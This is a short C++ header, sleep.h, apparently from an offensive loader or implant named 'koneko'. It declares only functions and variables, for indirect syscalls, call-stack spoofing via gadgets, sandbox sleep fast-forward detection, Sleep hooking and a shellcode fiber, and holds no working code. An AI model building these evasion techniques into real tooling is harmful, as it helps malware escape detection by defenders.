koneko/headers/sleep.h

34 lines
736 B
C++

#pragma once
#ifndef SLEEP_H
#define SLEEP_H
EXTERN_C DWORD dwSSN;
EXTERN_C PVOID qwJMP;
EXTERN_C PVOID NTAPI Spoof(PVOID a, ...);
EXTERN_C PVOID CallR12(PVOID Function, ULONGLONG nArgs, PVOID r12_gadget, ...);
NTAPI_FUNCTION CallMe();
extern PBYTE hNtdll, hKernel32;
extern std::vector<PVOID> callR12gadgets;
extern PVOID gadget;
extern NTSTATUS status;
// Check if process sleeptime is being fastforwarded
BOOL FiveHourEnergy();
// Sleeping without calling Sleep()
VOID ImNotSleepingIPromise(DWORD milliseconds);
// Hook Sleep and SleepEx
VOID ReSleep();
extern SyscallEntry NtCreateEvent;
extern SyscallEntry sysNtWaitForSingleObject;
extern LPVOID mainFiber;
extern LPVOID benignFiber;
extern LPVOID shellcodeFiber;
#endif